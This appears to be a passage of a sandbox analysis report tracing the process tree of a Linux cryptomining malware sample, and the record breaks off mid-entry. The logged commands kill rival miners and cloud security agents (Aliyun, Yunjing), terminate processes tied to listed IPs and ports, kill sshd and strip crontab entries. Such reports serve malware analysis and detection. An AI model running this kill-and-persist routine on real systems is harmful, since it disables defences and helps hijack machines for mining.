  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1392
- /bin/grep
  grep exe
  2⤵
  PID:1395
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1394
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1397
- /bin/grep
  grep exe
  2⤵
  PID:1400
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1399
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1402
- /bin/grep
  grep exe
  2⤵
  PID:1405
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1404
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1407
- /bin/grep
  grep /dot
  2⤵
  PID:1409
- /bin/grep
  grep -v grep
  2⤵
  PID:1410
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1411
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1412
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1408
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1413
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1418
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1417
- /bin/grep
  grep -v grep
  2⤵
  PID:1416
- /bin/grep
  grep tracepath
  2⤵
  PID:1415
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1414
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads CPU attributes
  PID:1419
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1424
- /bin/grep
  grep -v grep
  2⤵
  PID:1422
- /bin/grep
  grep ./ll1
  2⤵
  PID:1421
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1420
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1423
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:1426
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1425
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:1428
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1427
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1433
- /bin/grep
  grep -v grep
  2⤵
  PID:1431
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:1430
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1429
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1432
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1437
- /bin/grep
  grep -v grep
  2⤵
  PID:1436
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1438
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:1435
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1434
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1442
- /bin/grep
  grep -v grep
  2⤵
  PID:1441
- /bin/grep
  grep "bash -k"
  2⤵
  PID:1440
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1443
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1439
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1448
- /bin/grep
  grep -v grep
  2⤵
  PID:1446
- /bin/grep
  grep perfctl
  2⤵
  PID:1445
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1447
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1444
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1453
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1451
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1450
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1452
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1458
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1456
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1457
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1455
- /bin/grep
  grep -v -
  2⤵
  PID:1463
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1464
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1461
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1462
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1460
- /bin/grep
  grep -v -
  2⤵
  PID:1469
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1467
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:1466
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1470
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1468
- /bin/grep
  grep -v -
  2⤵
  PID:1475
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1476
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1472
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1473
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1474
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1480
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1482
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1478
- /bin/grep
  grep -v -
  2⤵
  PID:1481
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1479
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  PID:1483
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1488
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1487
- /bin/grep
  grep -v grep
  2⤵
  PID:1486
- /bin/grep
  grep agetty
  2⤵
  PID:1485
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1484
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads runtime system information
  PID:1489
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1490
- /bin/sed
  sed /192.81.212.13/d
  2⤵
  PID:1491
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1492
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1495
- /bin/sed
  sed /base64/d
  2⤵
  PID:1494
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1493
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1498
- /bin/sed
  sed /python/d
  2⤵
  PID:1497
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1496
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1501
- /bin/sed
  sed /shm/d
  2⤵
  PID:1500
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1499
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1504
- /bin/sed
  sed /postgresql/d
  2⤵
  PID:1503
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1502
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1507
- /bin/sed
  sed /cloudfronts/d
  2⤵
  PID:1506
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1505
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1510
- /bin/sed
  sed /sshd/d
  2⤵
  PID:1509
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1508
- /bin/sed
  sed /linux/d
  2⤵
  PID:1512
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1513
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1511
- /bin/sed
  sed /neoogilvy/d
  2⤵
  PID:1515
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1516
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1514
- /bin/sed
  sed /rsync/d
  2⤵
  PID:1518
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1517
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1519
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1522
- /bin/sed
  sed /bpdeliver/d
  2⤵
  PID:1521
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1520
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1525
- /bin/sed
  sed /perfcc/d
  2⤵
  PID:1524
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1523
- /bin/sed
  sed /atdb/d
  2⤵
  PID:1527
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1528
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1526
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads CPU attributes
  PID:1529
- /usr/bin/pkill
  pkill -f htop
  2⤵
  PID:1530
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  PID:1532
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  - Reads runtime system information
  PID:1533
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  - Reads CPU attributes
  PID:1534
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  PID:1535
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1536
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads CPU attributes
  PID:1537
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1541
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1540
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1543
- /bin/grep
  grep -v -
  2⤵
  PID:1542
- /bin/grep
  grep :1414
  2⤵
  PID:1539
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1547
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1549
- /bin/grep
  grep -v -
  2⤵
  PID:1548
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1545
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1546
- /bin/grep
  grep -v -
  2⤵
  PID:1554
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1552
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1555
- /bin/grep
  grep :143
  2⤵
  PID:1551
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1553
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1559
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1558
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1561
- /bin/grep
  grep -v -
  2⤵
  PID:1560
- /bin/grep
  grep :2222
  2⤵
  PID:1557
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1565
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1567
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1564
- /bin/grep
  grep :3333
  2⤵
  PID:1563
- /bin/grep
  grep -v -
  2⤵
  PID:1566
- /bin/grep
  grep -v -
  2⤵
  PID:1573
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1574
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1571
- /bin/grep
  grep :3389
  2⤵
  PID:1570
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1572
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1579
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1581
- /bin/grep
  grep :4444
  2⤵
  PID:1577
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1578
- /bin/grep
  grep -v -
  2⤵
  PID:1580
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1585
- /bin/grep
  grep -v -
  2⤵
  PID:1586
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1584
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1587
- /bin/grep
  grep :5555
  2⤵
  PID:1583
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1591
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1593
- /bin/grep
  grep -v -
  2⤵
  PID:1592
- /bin/grep
  grep :6666
  2⤵
  PID:1589
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1590
- /bin/grep
  grep -v -
  2⤵
  PID:1598
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1599
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1596
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1597
- /bin/grep
  grep :6665
  2⤵
  PID:1595
- /bin/grep
  grep -v -
  2⤵
  PID:1604
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1603
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1602
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1605
- /bin/grep
  grep :6667
  2⤵
  PID:1601
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1609
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1611
- /bin/grep
  grep :7777
  2⤵
  PID:1607
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1608
- /bin/grep
  grep -v -
  2⤵
  PID:1610
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1615
- /bin/grep
  grep -v -
  2⤵
  PID:1616
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1614
- /bin/grep
  grep :8444
  2⤵
  PID:1613
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1617
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1621
- /bin/grep
  grep -v -
  2⤵
  PID:1622
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1620
- /bin/grep
  grep :3347
  2⤵
  PID:1619
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1623
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1627
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1626
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1629
- /bin/grep
  grep :14444
  2⤵
  PID:1625
- /bin/grep
  grep -v -
  2⤵
  PID:1628
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1633
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1632
- /bin/grep
  grep :14433
  2⤵
  PID:1631
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1635
- /bin/grep
  grep -v -
  2⤵
  PID:1634
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1639
- /bin/grep
  grep -v -
  2⤵
  PID:1640
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1641
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1638
- /bin/grep
  grep :13531
  2⤵
  PID:1637
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  - Attempts to change immutable files
  PID:1642
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1644
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1643
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  PID:1645
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1647
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1646
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  - Attempts to change immutable files
  PID:1648
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1650
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1649
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  - Attempts to change immutable files
  PID:1651
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1652
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1653
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  PID:1654
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1656
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1655
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  PID:1657
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1659
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1658
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1660
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1661
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1662
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  - Attempts to change immutable files
  PID:1663
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1665
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1664
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  PID:1666
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1667
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1668
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  PID:1669
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1671
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1670
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  PID:1672
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1674
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:1673
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  - Attempts to change immutable files
  PID:1675
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1677
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:1676
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1678
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads runtime system information
  PID:1679
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  PID:1680
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  PID:1681
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1682
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1683
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  PID:1684
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  PID:1685
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1686
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1687
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  PID:1688
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads runtime system information
  PID:1689
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  PID:1690
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1691
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  PID:1692
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  PID:1693
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1694
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  PID:1695
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  PID:1696
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  PID:1697
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads CPU attributes
  PID:1698
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads CPU attributes
  PID:1699
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  PID:1700
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:1701
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  PID:1702
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads runtime system information
  PID:1703
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads CPU attributes
  PID:1704
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads CPU attributes
  PID:1705
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  PID:1706
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads runtime system information
  PID:1707
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1708
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads CPU attributes
  PID:1709
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1710
- /bin/grep
  grep ./udp
  2⤵
  PID:1712
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1714
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1711
- /bin/grep
  grep -v grep
  2⤵
  PID:1713
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1715
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1720
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1719
- /bin/grep
  grep ./oka
  2⤵
  PID:1717
- /bin/grep
  grep -v grep
  2⤵
  PID:1718
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1716
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1725
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1724
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1722
- /bin/grep
  grep -v grep
  2⤵
  PID:1723
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1721
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1731
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1729
- /bin/grep
  grep -v "("
  2⤵
  PID:1730
- /bin/grep
  grep -v bin
  2⤵
  PID:1728
- /bin/grep
  grep -v postgres
  2⤵
  PID:1733
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1727
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1734
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1732
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1735
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  PID:1726
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1736
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1737
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1741
- /bin/grep
  grep -v "("
  2⤵
  PID:1742
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1743
- /bin/grep
  grep -v bin
  2⤵
  PID:1740
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1739
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1744
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1746
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1738
- /bin/grep
  grep -v postgres
  2⤵
  PID:1745
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1748
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1747
- /bin/grep
  grep -v "("
  2⤵
  PID:1753
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1754
- /bin/grep
  grep -v bin
  2⤵
  PID:1751
- /bin/grep
  grep -v postgres
  2⤵
  PID:1756
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1750
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1752
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1755
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1757
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  PID:1749
- /usr/bin/xargs
